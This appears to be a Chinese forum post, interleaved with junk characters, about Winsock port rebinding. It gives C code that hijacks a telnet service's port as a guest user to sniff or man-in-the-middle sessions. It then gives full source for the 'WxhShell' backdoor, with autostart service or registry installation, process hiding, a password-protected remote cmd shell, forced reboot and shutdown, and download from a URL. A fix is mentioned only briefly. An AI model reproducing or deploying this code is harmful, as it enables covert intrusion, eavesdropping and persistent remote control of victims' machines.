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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %_(H{y_! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >layJt ` bdZ/*E saddr.sin_family = AF_INET; "bm #ssN027 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;Y;qg
8:#rA*Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qOUqs'7/] g+ MdHn[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w^#L9i'v' xw3YK!$sIF 这意味着什么?意味着可以进行如下的攻击: *=wYuJ# FI<q@HF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 un=2}@ ' n#:N;T;\a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jWY$5Vq<H Wa1,
p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3Te^ v k?skN@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :OkT? (i ph_4q@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h?f>X"*|( 9{$<0,? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q\WC+,_% Cxcr/9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N*`b%XGn3 ;]w<&C!= #include 1I*7SkgKv #include ;i"*Ll>Q) #include w,Lvt
} #include IZm(`b;t^ DWORD WINAPI ClientThread(LPVOID lpParam); ,i0b)=!o int main() "n: %E { -YjA+XP WORD wVersionRequested; 4WN3=B DWORD ret; Ht-t1q WSADATA wsaData; p?2Y }9 BOOL val; Q3 eM2i8Y SOCKADDR_IN saddr; |8.(XsN SOCKADDR_IN scaddr; sz9G3artK& int err; a3VM' SOCKET s; JIFU;*PR1 SOCKET sc; hxf'5uc int caddsize; X!j{o HANDLE mt; UDe |Sb DWORD tid; xy<`# wVersionRequested = MAKEWORD( 2, 2 ); $Y9jrR'w err = WSAStartup( wVersionRequested, &wsaData ); yR~R: if ( err != 0 ) { "&/]@)TPz printf("error!WSAStartup failed!\n"); R.s^o]vT return -1; 2o9$4{}rG } O$g_@B0E1 saddr.sin_family = AF_INET; Rm5Kkzd0o .p ls! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NB7Y{)
w ^@"H1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >F@qpjoQE saddr.sin_port = htons(23); =rd|0K"(r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $v`afd y { ;ml
3 printf("error!socket failed!\n"); a6h>=uT [ return -1; 97,rE$bC } m$LVCB val = TRUE; /R
LI,.% //SO_REUSEADDR选项就是可以实现端口重绑定的 ycJg%]F*5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S|zW^|YU { gUR]{dq^' printf("error!setsockopt failed!\n"); JTqq0OD} return -1; ;D.h65rr } R|P_GN6> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c DrebU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 npDIX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *<'M!iRC T%F0B` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 45@]:2j { j+8TlVur ret=GetLastError(); QR>
Y%4 ;h printf("error!bind failed!\n"); o:Zd1"Z return -1; }4>JO"" } rxO2js listen(s,2); )B!d,HKt; while(1) ir:d'g1k { @4!x>q$3 caddsize = sizeof(scaddr); FZH\Q~IUV //接受连接请求 kzq29S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [`Cq\mI-W if(sc!=INVALID_SOCKET) 3_`szl- { 1#
t6`N]?V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 33~qgK1> if(mt==NULL) 1j\aH&)GH { 6<5Jq\-h printf("Thread Creat Failed!\n"); ~"!a9GZ break; eX2<}'W< } DJQglt}~ } ,}C8;/V CloseHandle(mt); o0pT6N) } 'FzN[% K" closesocket(s); On1v<SD$[ WSACleanup(); HhkN^S, return 0; 4S
L_-Hm. } 137Xl>nO DWORD WINAPI ClientThread(LPVOID lpParam) ]v5-~E! { BN@,/m9OQ% SOCKET ss = (SOCKET)lpParam; kA7(CqUW SOCKET sc; \,sg)^w@ unsigned char buf[4096]; y~F<9;$= SOCKADDR_IN saddr; LQ-6vrbs long num; 8,o17}NY, DWORD val; `ycU-m== DWORD ret; 1.R
kIB //如果是隐藏端口应用的话,可以在此处加一些判断 qSQ@p\O~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "A]Y~iQ saddr.sin_family = AF_INET; 9b6!CNe! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (G4'(6 saddr.sin_port = htons(23); !%mi&ak(Rn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b
Dg9P^<n { 7CrpUh printf("error!socket failed!\n"); xaL#MIR"u" return -1; 74zSP/G' } eO{@@?/y val = 100; Isovwd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bZ#X9fT { (L|}` ret = GetLastError(); lug}
Uj return -1; p,n\__ } m{&w{3pQk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fW~*6ln { VjTe4$ * ret = GetLastError(); yx0Q+Sm1: return -1; M\yHUS6N } B
<+K<,S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WOO%YU = { )!C7bTv 4 printf("error!socket connect failed!\n"); )
p^ closesocket(sc); 8U^D(jrz closesocket(ss); lA{(8sKN return -1; Igjr~@# } y`b\;kd while(1) /{DaPqRa { ,U%=rfB~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0 [i+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 +a]j[# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ny`(f,)u* num = recv(ss,buf,4096,0); pAg$oe# if(num>0) >h[(w send(sc,buf,num,0); 5w-JPjH else if(num==0) >tEK+Y|N} break; rBevVc![ num = recv(sc,buf,4096,0); E0`[G]*G if(num>0) hwDXm9 send(ss,buf,num,0); OMd# ^z else if(num==0) kr{) break; ?48AY6 } F;a3 closesocket(ss); BVAr&cu closesocket(sc); -,/3"}<^78 return 0 ; !2tw, QM }
0dh#/ y.fs,!|%@ E&9!1!B ========================================================== qwP $~Bj XSl!T/d 下边附上一个代码,,WXhSHELL (0g7-Ci wDZ ========================================================== A:c]1 g 9|qbKQ:[ #include "stdafx.h"
7&px+155 p6[#f96^u #include <stdio.h> qM*S*,s #include <string.h> k)i"tpw #include <windows.h> *) }
:l #include <winsock2.h> KJ pj #include <winsvc.h>
dQ`:8SK #include <urlmon.h> Uf^RLdoDn .c: )Qli #pragma comment (lib, "Ws2_32.lib") 1wbTqc #pragma comment (lib, "urlmon.lib") e^Aa! +h|K[=l\ #define MAX_USER 100 // 最大客户端连接数 a(5y>HF
#define BUF_SOCK 200 // sock buffer :Dt\:`(r' #define KEY_BUFF 255 // 输入 buffer gjQ=8&i Y!;gQeC #define REBOOT 0 // 重启 9,w}Xe=C #define SHUTDOWN 1 // 关机 %Dra7B% '}T;b} &s #define DEF_PORT 5000 // 监听端口 )X~#n AX8gij #define REG_LEN 16 // 注册表键长度 Yg$@ Wb6 #define SVC_LEN 80 // NT服务名长度 VOg/VGJ
*[VEF // 从dll定义API 0FTRm2( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {f&NStiB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =p5?+3"@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u\:rY)V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G{/; AK mZ~mf->% // wxhshell配置信息 z;ULQ struct WSCFG { Q5hb0O%a int ws_port; // 监听端口 jzMhJ char ws_passstr[REG_LEN]; // 口令 yB=C5-\F int ws_autoins; // 安装标记, 1=yes 0=no g>UBZA4 char ws_regname[REG_LEN]; // 注册表键名 L>0!B8X2 char ws_svcname[REG_LEN]; // 服务名 {ip=iiW2 char ws_svcdisp[SVC_LEN]; // 服务显示名 xnT3^ #-h char ws_svcdesc[SVC_LEN]; // 服务描述信息 U)
+?$
Tbm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vJ~4D*(]l int ws_downexe; // 下载执行标记, 1=yes 0=no B'<!k7Ewy char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^@ M [t< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fV*}c` L7s>su|c( }; .4Iw=T_ kV_#9z7% // default Wxhshell configuration lj4%(rB= struct WSCFG wscfg={DEF_PORT, T!Xm")d "xuhuanlingzhe", V+peO 1, "3\oQvi. "Wxhshell", 4[2=L9MIo~ "Wxhshell", i5.?g <.H "WxhShell Service", R:]/{b4Uq "Wrsky Windows CmdShell Service", g[m3IJzq "Please Input Your Password: ", <9ePi9D( 1, '$n:CNha " http://www.wrsky.com/wxhshell.exe", lr-12-D%- "Wxhshell.exe" C usVW }; di"C]" ; 67}]s@:l]( // 消息定义模块 j#7wyi5q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .=>\Qq% char *msg_ws_prompt="\n\r? for help\n\r#>"; m5X3{[a: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
o G(0i char *msg_ws_ext="\n\rExit."; aUKh})B char *msg_ws_end="\n\rQuit."; l. XknF char *msg_ws_boot="\n\rReboot..."; o9_(DJ<{ char *msg_ws_poff="\n\rShutdown..."; oP+kAV#] char *msg_ws_down="\n\rSave to "; u(8 _[/_B xN e_qO char *msg_ws_err="\n\rErr!"; #S@UTJa
char *msg_ws_ok="\n\rOK!"; O3_D~O
." 0\?_lT2 char ExeFile[MAX_PATH]; >r;ABz/ int nUser = 0; >(IITt HANDLE handles[MAX_USER]; l5{(z;xM int OsIsNt; 0$n8b/%. zj~8>QnKk SERVICE_STATUS serviceStatus; jz{(q; SERVICE_STATUS_HANDLE hServiceStatusHandle; +L^A:}L( )9;(>cdl // 函数声明 )$ ofl%+ int Install(void); u&1j>`~qJ int Uninstall(void); Ul'~opf int DownloadFile(char *sURL, SOCKET wsh); *Gg1h@& int Boot(int flag); 4y|xUO: void HideProc(void); _ff=B int GetOsVer(void); fl} rz int Wxhshell(SOCKET wsl); e#l*/G*, void TalkWithClient(void *cs); X)`(nj int CmdShell(SOCKET sock); /W"Bf int StartFromService(void); *]{9K int StartWxhshell(LPSTR lpCmdLine); =?meO0]y gGtep*k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w o-O_uZB VOID WINAPI NTServiceHandler( DWORD fdwControl ); v+xgxQGYH :)KTZ // 数据结构和表定义 /2g)Z!&+L SERVICE_TABLE_ENTRY DispatchTable[] = cJU!zG { (t]lP/
{wscfg.ws_svcname, NTServiceMain}, a<OCO0irJ {NULL, NULL} _Vdb? }; *k3 d^9o# pr0@sri@ // 自我安装 A2g"=x[1@K int Install(void) jOoIF/So { GNhtnB char svExeFile[MAX_PATH]; JLy)}8I HKEY key; <Dt/Rad strcpy(svExeFile,ExeFile); TEaD-mY3 GibggOj2Q, // 如果是win9x系统,修改注册表设为自启动 `-72>F ;T if(!OsIsNt) { &rl]$Mtt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $I}Hk^X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )8 "EI-/. RegCloseKey(key); 0[Xt,~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b'Fx), RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @e.OU(Bf RegCloseKey(key); F:*[ return 0; T3u5al } Dyouk+08x } }#\;np } 0j
a else { b*'=W"%\ y (c|5CQ // 如果是NT以上系统,安装为系统服务 l6&v}M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7"a`-]Ap if (schSCManager!=0) `mq4WXO\ { X%4uShM SC_HANDLE schService = CreateService e6{[o@aM{ ( in=k:j,U0 schSCManager, DJ
mQZ+{2 wscfg.ws_svcname, gCk y(4 wscfg.ws_svcdisp, 0_,3/EWa SERVICE_ALL_ACCESS, Ww'TCWk@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rB.=f[aX[ SERVICE_AUTO_START, a O"nD_7 SERVICE_ERROR_NORMAL, 9z|>roNe svExeFile, lry&)G=5 NULL, `L"p)5H NULL, %|D\j-~ NULL, E+^} B/"
NULL, 7kX7\[zN NULL I9*BENkR ); r7Q:l ?F2 if (schService!=0) -KIVnV=&m { |oBdryi CloseServiceHandle(schService); qOcG|UgF CloseServiceHandle(schSCManager); PBAz`y2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (.quX@w"m strcat(svExeFile,wscfg.ws_svcname); oxCs* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `G ;Lz^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r.a9W?(E RegCloseKey(key); JR a*;_ return 0; 0'\FrG } Top#u
} !0. 5 CloseServiceHandle(schSCManager); Hz3 S^o7 } vYMbson} } "#\bQf} W3o}.|] return 1; WfTdD.Xx } SRG!G]?- {o5K?Pb // 自我卸载 Gh gvRR$ int Uninstall(void) *nsnX/e(- { <SC|A| HKEY key; :E >n)_^ ]:E! i^C`Z if(!OsIsNt) { '#4mDz~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z'>eT) RegDeleteValue(key,wscfg.ws_regname); L>5!3b=b RegCloseKey(key); { ck if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .z-^Ga* RegDeleteValue(key,wscfg.ws_regname); WW\)B-}T RegCloseKey(key); p=`x return 0; B'gk/^6$eg } t~<-4N$( } k,NU,^ & } 2GD mZl else { }_kI> rCSG@D. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6rN5Xf cS if (schSCManager!=0) 3R=3\; { Etr8lm E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6dS1\Y if (schService!=0) E-U;8cOMv { rd 35) if(DeleteService(schService)!=0) { dpGQ0EzH^ CloseServiceHandle(schService); +} ! F(c CloseServiceHandle(schSCManager); L%s4snE return 0; !
^*;c# } iJaNP%N CloseServiceHandle(schService); g2 {?EP } Hj4w
i| CloseServiceHandle(schSCManager); 1-]x } mKFHT } ]BQWA Lc: SqF return 1; 'ZZWH } :qSi>KCGh ^Lv^W // 从指定url下载文件 io?{ew int DownloadFile(char *sURL, SOCKET wsh) f_P+qm { ?nGf Wx^ HRESULT hr; 7F9g:r/^ char seps[]= "/"; eGypXf% char *token; :-WCW);N char *file; rNzhP*Fw char myURL[MAX_PATH]; nIqY}?? char myFILE[MAX_PATH]; pQMpkAX [U7,\o4w strcpy(myURL,sURL); aj'8;E+ token=strtok(myURL,seps); {6y.%ysU while(token!=NULL) Y./}zCT { ]-Y]Q%A4 file=token; D*r Zaqy token=strtok(NULL,seps); HYYx*CJ) } Qbt>}?- 6M vRR GetCurrentDirectory(MAX_PATH,myFILE); NG W{Z~l strcat(myFILE, "\\"); !#4HGjPI strcat(myFILE, file); dVtLYx send(wsh,myFILE,strlen(myFILE),0); f{5|}PL send(wsh,"...",3,0); Yl~?MOk hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @P5@&G if(hr==S_OK) ecI
2]aKi return 0; ~rJw$v else }~~^ZtJ\ return 1; :!YJ3:\ OO+#KyU } nMdN$E nV xMo_ // 系统电源模块 FITaL@{c int Boot(int flag) Odjd`DD1 { $`dNl#G, HANDLE hToken; {)gd|JV* TOKEN_PRIVILEGES tkp; Rf0\CEc (?3\.tQ}} if(OsIsNt) { D!$ =oK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o@` E.4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 12'(MAP tkp.PrivilegeCount = 1; XaS_3d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H^1 a3L] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pV|?dQ if(flag==REBOOT) { Qbpl$L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x[~OVG0M* return 0; y-q?pqt } zjh9ZLu[ else { eo52X&I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sP8&p*TJF return 0; EAE\Xv } mXM>6>;y } )j|y.[ else { i/Lq2n3 ) if(flag==REBOOT) { (Tb0PzA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F1*rUsRKN return 0; ftuQ"Ds } !!O{ ppM else { et}Y4,: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'J0s%m|j return 0; 3Wxtxk._E } aDv/kFfn } !Lug5U} A1}+j-D7!y return 1; ZDJWd=E } h`rjD d G-?9;w'@ // win9x进程隐藏模块 q0Lt[*q3R void HideProc(void) #$C]0]| { }v,P3 )stWr r& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (jFE{M$- if ( hKernel != NULL ) &U)s%D8e;d { 2Lgvy/uN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2e@\6l,!^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w=o m7%J@l FreeLibrary(hKernel); pv SFp-:_ } ;]x5;b9` gF5EtdN?| return; =u"|qD } ua-|4@YO i3j jPN! // 获取操作系统版本 ',7Z1O int GetOsVer(void) ;FflEL<7Y { iquGLwJ OSVERSIONINFO winfo; }AYSQ~: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }0),b ?*e GetVersionEx(&winfo); )p9n|C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pT$AdvI] return 1; =JH,RQ
* else GFkte return 0; .]c:Zt}P } d's`~HOU2 g``4U3T%X // 客户端句柄模块 %y+j~]^: int Wxhshell(SOCKET wsl) 0EU4irMa { ITUl-L4xE SOCKET wsh; &r!>2$B\ struct sockaddr_in client; ^-Ji]5~ DWORD myID; .6#2i <oPW p:%E>K1< while(nUser<MAX_USER) k]5L\]>y { 7z&u92dJI int nSize=sizeof(client); t}l<#X5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [~S0b if(wsh==INVALID_SOCKET) return 1; IxR:a( CZ}tQx5ga handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k"zHrn"$ if(handles[nUser]==0) &>+Z$ZD closesocket(wsh); epm|pA* else 5UyK1e)) nUser++; SoIMf tX } N6'Y
N10 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P'k39 A79SAheX# return 0; UU`qI}Ys8F } 8+F2
!IM 0AenDm@9 // 关闭 socket e(A&VIp void CloseIt(SOCKET wsh) (qdk
& { ;ecF~-oku closesocket(wsh); SfT ]C~#$N nUser--; YN[D^;} ExitThread(0); rtz(Jt{< } c7_b^7h1 G>"[nXmcu // 客户端请求句柄 2=RDAipf59 void TalkWithClient(void *cs) m`aUz}Y>c { q 9^r2OO u05O[>w SOCKET wsh=(SOCKET)cs;
q~C6+ char pwd[SVC_LEN]; 59u7q( char cmd[KEY_BUFF]; d1N&J`R\1 char chr[1]; 5E}i<}sq5 int i,j; UQy+&;#5 EIAT*l :NW while (nUser < MAX_USER) { oT w1w hQO~9mQ+! if(wscfg.ws_passstr) { V-57BKeDz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ nIZg5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j43HSY7@ //ZeroMemory(pwd,KEY_BUFF); ;Lx5r=<Hx i=0; Im=E?t while(i<SVC_LEN) { )erPp@ @ M-bE= // 设置超时 h fNBWN fd_set FdRead; EP
@=i struct timeval TimeOut; KT}}=st% FD_ZERO(&FdRead); 2C>PxA6l FD_SET(wsh,&FdRead); &o(?
}W
TimeOut.tv_sec=8; SU^/qF%8 TimeOut.tv_usec=0; 4CqZvdC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WA+v&*] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LQ._?35r -95`.o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~![R\gps pwd =chr[0]; i^( 0,L
if(chr[0]==0xd || chr[0]==0xa) { zuOIos
pwd=0; >13= 4S break; /#HY-b } 7 @ZL(G i++; ,Tpds ^ } p 7sYgz 8Og9P1jVh // 如果是非法用户,关闭 socket ?tBEB5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <[*s%9)'9 } 2>mDT G[jCmkK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tG6 o^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RNPqW,B!0 s)> ]'ii while(1) { edm&,ph] =|6IyL_N ZeroMemory(cmd,KEY_BUFF); 9yQ[ *
*`\>J.
// 自动支持客户端 telnet标准 tTY (I1 j=0; 4Hu.o 7 while(j<KEY_BUFF) { c=7L)w:I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _3`{wzMA cmd[j]=chr[0]; OyVp 3O if(chr[0]==0xa || chr[0]==0xd) { z19y>j cmd[j]=0; KzhldMJ^zq break; >kd2GZe^_J } q4VOK
'N j++; =oSv=xY } .
a~J.0co H4)){\ // 下载文件 DS^PHk39 if(strstr(cmd,"http://")) { .@R{T3=Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Y5O3^I=u if(DownloadFile(cmd,wsh)) &a O3N send(wsh,msg_ws_err,strlen(msg_ws_err),0); gXG1w> else #Ez>]`]TB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #b:8-Lt:M } 2@=JIMtc else { /mvuSNk R}*e% EG/ switch(cmd[0]) { i_V~SC` d!8`}L:=M // 帮助 .0nL;o case '?': { P#6y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dqnxhN+& break; C";F's) } &c0U\G|j // 安装 T0v;8Ee case 'i': { wR1M_&-s if(Install()) [|e7oNT(Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@)K]0g<f else GYZzWN}U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); On#RYy^} break; MWu67">" } RD<l<+C^~ // 卸载 $#1i@dI case 'r': { @MS;qoc if(Uninstall()) [<7Hy,xr_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ie84o else $s$z"< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y;4nIWe
JL break; nxw]B"Eg } 3w#kvtDVm // 显示 wxhshell 所在路径 _m#M^<0n case 'p': { =EgiV<6vcH char svExeFile[MAX_PATH]; Rcfh*"k strcpy(svExeFile,"\n\r"); kTt;3 Ia strcat(svExeFile,ExeFile); /w$<0hH#'8 send(wsh,svExeFile,strlen(svExeFile),0); YD 1u break; 7FMO''x } $d'GCzYvZ // 重启 lZ'-?xo case 'b': { 5v<BB`XWp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d~u+:[\=/ if(Boot(REBOOT)) q;1]M[& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76(-!Z@=J else { 3FR'N%+ closesocket(wsh); ;<OIu&,* ExitThread(0); "X=l7{c/ } `9SuDuw;s break; e/'d0Gb- } P33x/#VVE // 关机 ^(r?k_i/ case 'd': { Y<0
[_+( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g-q~0 if(Boot(SHUTDOWN)) ;9MsV.n send(wsh,msg_ws_err,strlen(msg_ws_err),0); GcmN40 else { +}@1X&v: closesocket(wsh);
I4.^I/c( ExitThread(0); r~N0P|Tq } J39,x=8LL break; t:X\`.W } GdVq+,Ge // 获取shell cD{I*t$ case 's': { zZE
2%fqM CmdShell(wsh); <iDqt5)N closesocket(wsh); Q5b~5a ExitThread(0); $$_aHkI j break; cPZD#";f } ^kA^>vi // 退出 ~OO&%\$k case 'x': { 1$vsw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fS+Ga1CsH CloseIt(wsh); 9&a&O
Z{ break; ,R_ KLd } Y).5(t7zaR // 离开 OLp;eb1g case 'q': { JFf*v6:, send(wsh,msg_ws_end,strlen(msg_ws_end),0); hDTiXc closesocket(wsh); R1 u1 WSACleanup(); `&]<_Jc1 exit(1); MW*@fl<@?M break; R%B"Gtl) } GAG=4g }
c]3% wL } ^|-*amh HF>Gf2-C // 提示信息 PEqO<a1Z8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j}}:&>; } @=4K%SCw } ) inhPd O/b~TVA return; X-,scm } 7 $AEh+f xDv5'IGBb // shell模块句柄 CGmObN8~'F int CmdShell(SOCKET sock) aBv3vSq>Q { >;a_i>[ STARTUPINFO si; #m
yiZL% ZeroMemory(&si,sizeof(si)); -XNjyXm2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oj\av~cI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /Xa_Xg7 PROCESS_INFORMATION ProcessInfo; 1 ?X(q char cmdline[]="cmd"; K6"#&0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \z'A6@ return 0; qIE e7;DO } ?S&pq? f44b=,Lry5 // 自身启动模式 / O@'XWW int StartFromService(void) *a}NRf}W { %g1{nGah typedef struct 15PFnk6E| { kT|{5Kn&s DWORD ExitStatus; Z#H] yG DWORD PebBaseAddress; -) DWORD AffinityMask; "XQj~L DWORD BasePriority; H(f~B<7q ULONG UniqueProcessId; 2BTFK"=U ULONG InheritedFromUniqueProcessId; $gKMVgD" } PROCESS_BASIC_INFORMATION; 7kDX_,i Q.SLiI
PROCNTQSIP NtQueryInformationProcess; yL =*yC s-^B)0T! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ="%nW3e@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~3p
:jEM.[ &E98&[`7 HANDLE hProcess; o)w8 ]H/ PROCESS_BASIC_INFORMATION pbi; M#v#3:&5 B_;W! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j#KL"B_A if(NULL == hInst ) return 0; Z.9?u; ;qM
